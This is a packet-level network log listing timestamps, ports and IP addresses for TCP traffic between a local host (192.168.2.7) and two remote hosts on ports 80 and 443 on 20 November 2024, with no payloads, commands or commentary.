Nov 20, 2024 23:12:56.760462046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.760524988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.760565042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.760667086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.761409044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.761468887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.761487007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.761554956 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.762200117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.762243032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.762245893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.762314081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.763053894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.763114929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.763209105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.763335943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.763910055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.763972998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.764014959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.764075041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.764801979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.764868975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.764909983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.764956951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.765610933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.765672922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.765687943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.765742064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.766444921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.766479969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.766529083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.766556978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.767302990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.767357111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.767430067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.768213034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.768340111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.768419981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.768984079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.769046068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.769059896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.769123077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.769793987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.769855976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.854046106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.854121923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.854134083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.854175091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.854408979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.854456902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.854737997 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.855264902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.855350971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.855402946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.856110096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.856158018 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.856194019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.856245995 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.856970072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.857016087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.857058048 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.857160091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.857853889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.857889891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.858082056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.858254910 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.858653069 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.858696938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.858802080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.858889103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.859502077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.859615088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.859685898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.860371113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.860418081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.860455990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.860491037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.861212969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.861255884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.861324072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.861394882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.862078905 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.862132072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.862195015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.862242937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.862932920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.862977982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.863053083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.863095999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.863740921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.863784075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.863852024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.863931894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.864748955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.864763975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.864813089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.865462065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.865514994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.865567923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.865616083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.866398096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.866419077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.866463900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.867162943 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.867270947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.867273092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.867397070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.868000984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.868053913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.868115902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.868159056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.868896961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.868948936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.868964911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.868990898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.869694948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.869748116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.869781017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.869879961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.870541096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.870593071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.870599031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.870697975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.871402979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.871479988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.871489048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.871522903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.872257948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.872313976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.872345924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.872364044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.873104095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.873176098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.873208046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.873276949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.873949051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.873970985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.874001026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.874021053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.874793053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.874842882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.874851942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.874918938 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.875624895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.875674009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.875689983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.875780106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.876502991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.876555920 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.876568079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.876626015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.877329111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.877381086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.877403021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.877485037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.878177881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.878226042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.878231049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.878305912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.961874962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.961927891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.961946964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.961977959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.962204933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.962249994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.962364912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.962502003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.962542057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.962668896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.963241100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.963279009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.963344097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.963498116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.964117050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.964173079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.964243889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.964679003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.965019941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.965059042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.965097904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.965760946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.965816975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.965917110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.966069937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.966660023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.966701031 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.966739893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.966774940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.967456102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.967530966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.967605114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.968297005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.968373060 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.968414068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.968477964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.969166040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.969230890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.969265938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.969300985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.970037937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.970102072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.970117092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.970158100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.970849991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.970911980 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.970952988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.970985889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.971716881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.971776009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.971798897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.971868038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.972680092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.972703934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.972742081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.972769976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.973484039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.973519087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.973577976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.974251986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.974313974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.974380016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.974419117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.975105047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.975151062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.975164890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.975188971 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.975950003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.976039886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.976274014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.976805925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.976866007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.976866007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.976923943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.977689981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.977737904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.977751970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.977902889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.978491068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.978709936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.979011059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.979338884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.979460001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.979497910 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.980194092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.980242968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.980298042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.980335951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.981009007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.981054068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.005485058 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.005507946 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.005592108 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.005631924 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.005918026 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.006778002 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.006797075 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.036861897 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.036889076 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.036936998 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.036966085 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.037060976 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.037236929 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.038104057 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:57.038120031 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:57.068010092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.068048000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.068073034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.068171978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.068331957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.068342924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.068394899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.069145918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.069259882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.069308043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.069979906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.070035934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.070076942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.070174932 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.070820093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.070879936 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.070935965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.070972919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.071755886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.071830988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.071907043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.071943998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.072489023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.072549105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.072627068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.072794914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.073421955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.073481083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.073570967 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.073647022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.074206114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.074259043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.074275017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.074361086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.075053930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.075114012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.075161934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.075201988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.075941086 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.075987101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.076019049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.076122046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.076771021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.076812983 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.076854944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.077599049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.077644110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.077760935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.077836037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.078444004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.078494072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.078612089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.078655005 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.079322100 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.079399109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.079448938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.079536915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.080142975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.080188036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.080220938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.080290079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.081042051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.081113100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.081146955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.081221104 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.081861973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.081907988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.081918001 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.081971884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.082746029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.082792044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.082854033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.082899094 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.083563089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:57.083607912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:57.083712101 CET	80	49799	185.215.113.206	192.168.2.7
